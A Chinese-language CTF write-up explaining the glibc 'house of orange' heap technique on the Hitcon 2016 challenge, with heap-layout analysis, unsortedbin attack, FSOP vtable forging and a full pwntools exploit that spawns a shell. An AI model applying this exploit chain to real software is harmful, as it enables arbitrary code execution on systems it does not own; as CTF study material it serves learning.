堆利用学习之house of orange

终于学到了house of orange,看了无数师傅的博客,终于马马虎虎理清了一点思路,还是得写点笔记以免忘掉。

概述

house of orange是来自Hitcon CTF 2016中的一道同名题目,其中使用了一种全新的攻击手段(现在也不新了2333),攻击的主要思路是利用unsorted attack修改_IO_list_all指针,并伪造_IO_FILE_plus结构体及其vtable(虚表)来劫持控制流。
直接上题目好了。。。

题目描述

程序菜单:

1
2
3
4
5
6
7
8
9
+++++++++++++++++++++++++++++++++++++
@ House of Orange @
+++++++++++++++++++++++++++++++++++++
1. Build the house
2. See the house
3. Upgrade the house
4. Give up
+++++++++++++++++++++++++++++++++++++
Your choice :

程序保护全开_(:зゝ∠)_:

1
2
3
4
5
CANARY    : ENABLED
FORTIFY : ENABLED
NX : ENABLED
PIE : ENABLED
RELRO : FULL

程序分析

build函数:

用户输入house的名字、orange的颜色和价格,并使用两个结构体保存。

结构体:

1
2
3
4
00000000 house           struc ; (sizeof=0x10, mappedto_6)
00000000 orange dq ?
00000008 name dq ?
00000010 house ends

1
2
3
4
00000000 orange          struc ; (sizeof=0x8, mappedto_7)
00000000 price dd ?
00000004 color dd ?
00000008 orange ends

限制了只能build四次,每次build会申请3个chunk,其中只有第二个chunk(house name)可以控制大小,且最大为0x1000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
house = (house *)malloc(0x10uLL);
printf("Length of name :");
size = get_num();
if ( size > 0x1000 )
size = 4096;
house->name = (__int64)malloc(size);
if ( !house->name )
{
puts("Malloc error !!!");
exit(1);
}
printf("Name :");
get_str((void *)house->name, size);
orange = (orange *)calloc(1uLL, 8uLL);

upgrade函数:

修改house的name、orange的颜色和价格,只能修改最近build的house。

1
2
3
4
5
6
printf("Length of name :");
v2 = get_num();
if ( v2 > 0x1000 )
v2 = 4096;
printf("Name:");
get_str((void *)qword_203068[1], v2);

修改name的地方没有检查size的大小,所以存在堆溢出

see函数

打印house的名字、orange的价格等,同样只能打印最近build的house。

漏洞分析

泄露libc基址和堆地址

发现程序中没有free函数,导致常规的堆利用方法都很难使用,这便是house of orange的核心之一——在没有free函数的情况下得到一个释放的堆块(unsorted bin),从而泄露数据。

原理

考虑这么一种情况,假设在malloc时,程序中的bins里都没有合适的chunk,同时top chunk的大小已经不够用来分配这块内存了。那么此时程序将会调用sysmalloc来向系统申请更多的空间,而我们的目的则是在sysmalloc中的_int_free(),以此来获得一块释放的堆块。

1
2
3
4
5
6
7
else
{
void *p = sysmalloc (nb, av); //调用sysmalloc来分配内存
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}

对于堆来说有两种拓展方式,一是通过改变brk来拓展堆,二是通过mmap的方式。其中只有brk拓展的方式才会调用到_int_free()将老的top chunk释放掉,所以还需要满足一些条件。

1
2
3
4
5
6
7
8
9
// 如果所需分配的chunk大小大于mmap分配阈值,默认为128K,
// 并且当前进程使用mmap()分配的内存块小于设定的最大值
// 则将使用mmap()
if (av == NULL
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
{
//使用mmap()
}

由上诉代码可知,要想使用brk拓展,需要满足chunk size < 0x‭20000‬
同时,在使用brk拓展之前,还会进行一系列check。

1
2
3
4
5
6
7
8
// 如果top chunk没有初始化,则size为0
// top chunk的大小需要 >= MINSIZE(有师傅的博客说在64位下是0x20)
// top chunk的inuse位需要是 1
// 检查是否对齐到内存页
assert ((old_top == initial_top (av) && old_size == 0)
|| ((unsigned long) (old_size) >= MINSIZE
&& prev_inuse (old_top)
&& ((unsigned long) old_end & pagemask) == 0));

这里主要关注如何对齐到内存页。现代操作系统都是以内存页为单位进行内存管理的,一般内存页大小为4kb(0x1000),那么top chunk的size加上top chunk的地址所得到的值是和0x1000对齐的。如:0x602020+0x20fe0=0x623000

整理以上代码,所需的条件有

  • 分配的chunk大小小于0x‭20000,大于top chunk‬的size
  • top chunk大小大于 MINSIZE(不能太小就行)
  • top chunk的inuse为 1
  • top chunk的大小要对齐到内存页

满足了以上各种条件之后,就可以成功的调用_int_free()来释放top chunk

1
2
3
4
5
/* If possible, release the rest. */
if (old_size >= MINSIZE)
{
_int_free (av, old_top, 1);//调用_int_free,free old_top。
}

此后,原先的top chunk将被放入unsorted bin中。
下一次分配时,就将会从unsorted bin中切割合适的大小,而切割下来的chunk的fd和bk的值将会是libc中的地址了,同时,若该chunk是large chunk,在fd_nextsize和bk_nextsizez中还会储存堆中的地址。由此便可以完成泄露了。

利用过程

  1. 先build一个house,通过upgrade从name溢出到top chunk,将top chunk的大小改为0xfa1(name chunk的大小为0x20)

    1
    2
    3
    build(0x10, 'aaaa')
    payload = 'a'*0x18 + p64(0x21) + p64(0)*3 + p64(0xfa1)
    upgrade(0x100, payload)
    1
    2
    3
    4
    5
    6
    7
    8
    //内存情况:
    0x55e0ebd68000: 0x0000000000000000 0x0000000000000021 <== house
    0x55e0ebd68010: 0x000055e0ebd68050 0x000055e0ebd68030
    0x55e0ebd68020: 0x0000000000000000 0x0000000000000021 <== name
    0x55e0ebd68030: 0x6161616161616161 0x6161616161616161
    0x55e0ebd68040: 0x6161616161616161 0x0000000000000021 <== orange
    0x55e0ebd68050: 0x0000001f00000008 0x0000000000000000
    0x55e0ebd68060: 0x0000000000000000 0x0000000000000fa1 <== top chunk
  2. 申请一个大于top chunk的空间,触发brk来拓展top chunk。原top chunk将会被放入unsorted bin

    1
    build(0x1000, 'aaaa')
    1
    2
    3
    4
    //内存情况:
    //因为我不是同一次运行,地址可能和前面不匹配
    unsortedbin
    all: 0x7f7ab34f37b8 (main_arena+88) —▸ 0x5598255700a0 ◂— 0x7f7ab34f37b8
  3. 再申请一个大小合适的large chunk,该chunk将会从unsorted bin中切割下来。

    1
    build(0x400, 'a'*0x8)
    1
    2
    3
    4
    5
    6
    //内存情况:
    pwndbg> x/32gx 0x559d1a1d40c0
    0x559d1a1d40c0: 0x0000000000000000 0x0000000000000411
    0x559d1a1d40d0: 0x6161616161616161 0x00007f732b8fddc8 <== libc
    0x559d1a1d40e0: 0x0000559d1a1d40c0 0x0000559d1a1d40c0 <== heap
    0x559d1a1d40f0: 0x0000000000000000 0x0000000000000000
  4. 调用see(),输出name时,将会把libc的地址泄露出来。再调用upgrade(),把bk也全部填充为’a’,那么下一次see()就可以泄露出heap的地址。

劫持流程

接下来将会涉及到IO_FILE的利用,这种方法被称为FSOP(File Stream Oriented Programming)

FILE介绍

FILE在Linux系统的标准IO库中是用于描述文件的结构,称为文件流。FILE结构在程序执行fopen等函数时会进行创建。

每个FILE结构都通过一个 _IO_FILE_plus结构体来定义,结构体如下:

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};

其中包括一个_IO_FILE结构体和一个vtable(虚表)指针。
_IO_FILE结构体保存了FILE的各种信息。
vtable(虚表)指针指向了一系列函数指针,稍后就会用到其中的函数。

_IO_FILE结构定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

整个结构不用完全掌握,大概了解就行。
在进程中的产生的各个_IO_FILE结构会通过其中的struct _IO_FILE *_chain;连接在一起形成一个链表,其中表头使用全局变量struct _IO_FILE_plus *_IO_list_all来表示,通过_IO_list_all就可以遍历所有_IO_FILE结构。

_IO_jump_t *vtable结构定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};

这里面保存了一系列的函数指针。

以上,主要需要了解的就是 _IO_FILE_plus_IO_FILEvtable3个结构以及 _IO_list_all指针的关系和及其内容。

_IO_FILE各个成员的偏移如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
_IO_FILE_plus = {
'i386':{
0x0:'_flags',
0x4:'_IO_read_ptr',
0x8:'_IO_read_end',
0xc:'_IO_read_base',
0x10:'_IO_write_base',
0x14:'_IO_write_ptr',
0x18:'_IO_write_end',
0x1c:'_IO_buf_base',
0x20:'_IO_buf_end',
0x24:'_IO_save_base',
0x28:'_IO_backup_base',
0x2c:'_IO_save_end',
0x30:'_markers',
0x34:'_chain',
0x38:'_fileno',
0x3c:'_flags2',
0x40:'_old_offset',
0x44:'_cur_column',
0x46:'_vtable_offset',
0x47:'_shortbuf',
0x48:'_lock',
0x4c:'_offset',
0x54:'_codecvt',
0x58:'_wide_data',
0x5c:'_freeres_list',
0x60:'_freeres_buf',
0x64:'__pad5',
0x68:'_mode',
0x6c:'_unused2',
0x94:'vtable'
},

'amd64':{
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
}
}

[注]在gdb中查看这些结构的指令:

1
2
3
4
5
6
//查看_IO_list_all指针
p *_IO_list_all
//查看_IO_FILE_plus
p (*(struct _IO_FILE_plus *) 0x55cdf66034f0)
//查看vtable
p (*(struct _IO_jump_t *) 0x55cdf66034f0)

unsortedbin attack

根据house of orange的流程,接下来将要控制_IO_list_all指针的值,具体原因后面会讲到。这里我们采用unsortedbin attack来对它的值进行修改。

原理

在从unsorted bin中取出chunk时,会执行以下代码:

1
2
3
4
5
    bck = victim->bk;
...
/* remove from unsorted list */
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);

这里将最后一个chunk取出,并把倒数第二个chunk的fd设置为unsorted_chunks(av),这里unsorted_chunks(av)就是main_arena中top成员变量的地址(&main_arena+88)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//main_arena的结构
struct malloc_state
{
mutex_t mutex;

int flags;

mfastbinptr fastbinsY[NFASTBINS];

mchunkptr top; //此处的地址将被写入目标地址

mchunkptr last_remainder;

...
}

可以发现,如果我们将victim的bk改写为某个地址,则可以向这个地址 + 0x10的地方写入&main_arena+88
因为题目程序中存在堆溢出,所以可以轻松溢出到某个chunk的bk,并将它改写。这里我们写入_IO_list_all - 0x10,这样当从unsorted bin中取出它时,就可以成功将_IO_list_all写为&main_arena+88

具体利用过程需要和后面FSOP配合。

FSOP

漏洞原理

因为_IO_FILE结构使用链表的结构管理,表头由_IO_list_all维护。所以FSOP的核心思想就是劫持_IO_list_all的值并伪造链表和其中的_IO_FILE

在此之前,我们先了解一下malloc对错误信息的处理过程.

  1. malloc出错时,会调用malloc_printerr函数来输出错误信息

    1
    2
    if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)|| __builtin_expect (victim->size > av->system_mem, 0))
    malloc_printerr (check_action, "malloc(): memory corruption", chunk2mem (victim), av);
  2. malloc_printerr又会调用__libc_message;

  3. __libc_message又调用abort;
  4. abort则又调用了_IO_flush_all_lockp
  5. 最后_IO_flush_all_lockp中会调用到vtable中的_IO_OVERFLOW函数

整个流程如下图:
流程图
所以如果可以控制_IO_list_all的值,同时够伪造一个_IO_FILE及其vtable并放入FILE链表中,就可以让上述流程进入我们伪造的vtable, 并调用被修改为system_IO_OVERFLOW函数。

但是想要成功调用_IO_OVERFLOW函数还需要绕过一些阻碍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int _IO_flush_all_lockp (int do_lock)
{
...
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
) && _IO_OVERFLOW (fp, EOF) == EOF)
...
...
fp = fp->_chain;
}
}

观察代码发现,_IO_OVERFLOW存在于if之中,根据短路原理,若要执行到_IO_OVERFLOW,就需要让前面的判断都能满足,即:

1
2
fp->_mode <= 0 
&& fp->_IO_write_ptr > fp->_IO_write_base

或者

1
2
3
_IO_vtable_offset (fp) == 0
&& fp->_mode > 0
&& (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)

以上两个条件至少要满足一个,这里我们将选择第一个,只需要构造mode_IO_write_ptr_IO_write_base。因为这些都是我们可以伪造的_IO_FILE中的数据,所以比较容易实现。

漏洞利用

在前面已经介绍过,可以通过unsortedbin attack来将_IO_list_all指针的值修改为&main_arena+88

但这还不够,因为我们很难控制main_arena中的数据,并不能在mode_IO_write_ptr_IO_write_base的对应偏移处构造出合适的值。

所以我们将目光转向_IO_FILE的链表特性。在前文_IO_flush_all_lockp函数的代码最后,可以发现程序通过fp = fp->_chain不断的寻找下一个_IO_FILE

所以如果可以修改fp->_chain到一个我们伪造好的_IO_FILE的地址,那么就可以成功实现利用了。

巧妙的是,_IO_FILE结构中的chian字段对应偏移是0x68,而在&main_arena+88对应偏移为0x68的地址正好是大小为0x60的small bin的bk,而这个地址的刚好是我们可以控制的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
+0x00 [       top        |  last_remainder   ]
+0x10 [ unsorted bin fd | unsorted bin bk ]
+0x20 [ smallbin 0x20 fd | smallbin 0x20 bk ]
+0x30 [ smallbin 0x30 fd | smallbin 0x30 bk ]
+0x40 [ smallbin 0x40 fd | smallbin 0x40 bk ]
+0x50 [ smallbin 0x50 fd | smallbin 0x50 bk ]
+0x60 [ smallbin 0x60 fd | smallbin 0x60 bk ]

pwndbg> x/64gx _IO_list_all
0x7fdd7442c7b8 <main_arena+88>: 0x00005616d200b010 0x00005616d1fe94f0
0x7fdd7442c7c8 <main_arena+104>: 0x00005616d1fe94f0 0x00007fdd7442d190
0x7fdd7442c7d8 <main_arena+120>: 0x00007fdd7442c7c8 0x00007fdd7442c7c8
0x7fdd7442c7e8 <main_arena+136>: 0x00007fdd7442c7d8 0x00007fdd7442c7d8
0x7fdd7442c7f8 <main_arena+152>: 0x00007fdd7442c7e8 0x00007fdd7442c7e8
0x7fdd7442c808 <main_arena+168>: 0x00007fdd7442c7f8 0x00007fdd7442c7f8
0x7fdd7442c818 <main_arena+184>: 0x00005616d1fe94f0 0x00005616d1fe94f0 <== 此处
0x7fdd7442c828 <main_arena+200>: 0x00007fdd7442c818 0x00007fdd7442c818

我们如果通过溢出,将位于unsorted bin中的chunk的size修改为0x60。(注:现在unsorted bin中的chunk就是之前被释放的top chunk的一部分)
那么在下一次malloc的时候,因为在其他bin中都没有合适的chunk,malloc将会进入大循环把unsorted bin中的chunk放回到对应的small bin或large bin中(具体流程参考ctfwiki
因此,我们修改过size的chunk就会被放入大小为0x60的small bin中,同时,该small bin的fd和bk都会变为此chunk的地址。

这样,当_IO_flush_all_lockp函数通过fp->_chain寻找下一个_IO_FILE时,就会寻找到smallbin 0x60中的chunk。
只要在这个chunk中伪造好_IO_FILE结构体以及vtable,把_IO_OVERFLOW设置为system,然后就可以成功getshell了。

利用过程

直接构造payload

  1. 首先是padding,抵达被释放掉的top chunk。

    1
    payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(1) + p32(0x1f) + p64(0)
  2. 接下来构造的内存具有双重身份,一是作为伪造的_IO_FILE;一是用于unsorted attack的victim chunk,因为它位于unsorted bin中。

    然后开始构造_IO_FILE。因为要调用的_IO_OVERFLOW (fp, EOF)被修改后为system(fp),所以在开头写入'/bin/sh\x00',让fp = "/bin/sh";又因为为了将这个chunk放入smallbin 0x60,所以将size位设置为0x61。

    1
    fake_file = '/bin/sh\x00' + p64(0x61)
  3. 然后将bk的位置写入(IO_list_all - 0x10,用作unsorted attack

    1
    fake_file += p64(0) + p64(IO_list_all - 0x10)
  4. 接下来的位置刚好是_IO_write_baseIO_write_ptr。前面提到过需要构造fp->_IO_write_ptr > fp->_IO_write_base

    1
    fake_file += p64(0) + p64(1)    #_IO_write_base ; _IO_write_ptr
  5. 接下来需要一段padding,直至fp->mode

    1
    fake_file = fake_file.ljust(0xc0, '\x00')   #padding
  6. 抵达fp->mode,构造fp->_mode <= 0

    1
    fake_file += p64(0) #mode <= 0
  7. 然后需要设置vtable指针,将它设置到当前地址相邻往后的地址,然后继续在后面构造vtable就行了

    1
    2
    3
    payload += fake_file
    payload += p64(0) + p64(0) #padding
    payload += p64(heap_addr + 0x5d0) #vtable指针
  8. 构造vtable

    1
    2
    payload += p64(0)*3 #vtable
    payload += p64(system) #将__overflow改为system
  9. 写入数据

    1
    upgrade(0x800, payload)
  10. 触发漏洞

    1
    2
    p.recvuntil('Your choice : ')
    p.sendline('1')

    调用build函数,由最初的分析可知,此处会申请3个chunk。

    • 申请第一个chunk时,大小为0x20,因为fastbin中没有chunk,所以会进入大循环,将我们前面构造好的chunk放入smallbin 0x60
    • 在从unsorted bin中取出这个chunk时,又会触发unsortedbin attack,改写_IO_list_all指针。至此,所有数据都布置好了。
    • 因为unsortedbin attack的时候破坏了unsorted bin的链表结构,所以接下来的分配过程会出现错误,系统调用malloc_printerr去打印错误信息,从而被我们劫持流程,执行到system函数。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#-*- coding:utf-8 -*-
from pwn import *

context.terminal = ['gnome-terminal', '-x', 'bash', '-c']

p = process('./house_of_orange')
elf = ELF('./house_of_orange')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def build(size, name):
p.recvuntil('Your choice : ')
p.sendline('1')
p.recvuntil('Length of name :')
p.sendline(str(size))
p.recvuntil('Name :')
p.send(name)
p.recvuntil('Price of Orange:')
p.sendline('8')
p.recvuntil('Color of Orange:')
p.sendline('1')


def see():
p.recvuntil('Your choice : ')
p.sendline('2')

def upgrade(size, name):
p.recvuntil('Your choice : ')
p.sendline('3')
p.recvuntil('Length of name :')
p.sendline(str(size))
p.recvuntil('Name:')
p.send(name)
p.recvuntil('Price of Orange: ')
p.sendline('8')
p.recvuntil('Color of Orange: ')
p.sendline('1')

build(0x10, 'aaaa')
payload = 'a'*0x18 + p64(0x21) + p64(0)*3 + p64(0xfa1)
upgrade(0x100, payload)
#将topchunk放入unsortedbin
build(0x1000, 'aaaa')
#从unsortedbin中取出一部分topchunk
build(0x400, 'a'*0x8)
see()
p.recvuntil('aaaaaaaa')
libc_base = u64(p.recvline()[:-1].ljust(8, '\x00')) - 0x3C2DC8
print "libc_base : %#x" % libc_base
upgrade(0x400, 'a'*0x10)
see()
p.recvuntil('a'*0x10)
heap_addr = u64(p.recvline()[:-1].ljust(8, '\x00')) - 0xc0
print "heap_addr : %#x" % heap_addr

system = libc_base + libc.symbols['system']
IO_list_all = libc_base + libc.symbols['_IO_list_all']
print "system : %#x" % system
print "_IO_list_all : %#x" % IO_list_all

payload = 'a' * 0x400 #padding
payload += p64(0) + p64(0x21) #padding
payload += p32(1) + p32(0x1f) + p64(0) #padding

fake_file = '/bin/sh\x00' + p64(0x61) # fp; size
fake_file += p64(0) + p64(IO_list_all - 0x10) # fd; bk
fake_file += p64(0) + p64(1) # _IO_write_base ; _IO_write_ptr
fake_file = fake_file.ljust(0xc0, '\x00') #padding
fake_file += p64(0) # mode <= 0

payload += fake_file
payload += p64(0) + p64(0) #padding
payload += p64(heap_addr + 0x5d0) #vtable指针

payload += p64(0)*3 # vtable
payload += p64(system) # 将__overflow改为system

upgrade(0x800, payload)

gdb.attach(p)

p.recvuntil('Your choice : ')
p.sendline('1')

p.interactive()

程序链接

house of orange

后记

这篇文章写得是真的乱233333
在写好exp后,运行最后会报memory corruption,我还以为出错了,又调了半天_(:зゝ∠)_,最后才反应过来程序本来就要调用malloc_printerr。。。默默输了个ls,看到回显感动得一匹。
话说这exp有一定概率会失败,并不清楚原因_(:зゝ∠)_。

文章作者: Hpasserby
文章链接: https://hpasserby.top/post/f8f8701e.html
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hpasserby
支付宝赞赏
微信赞赏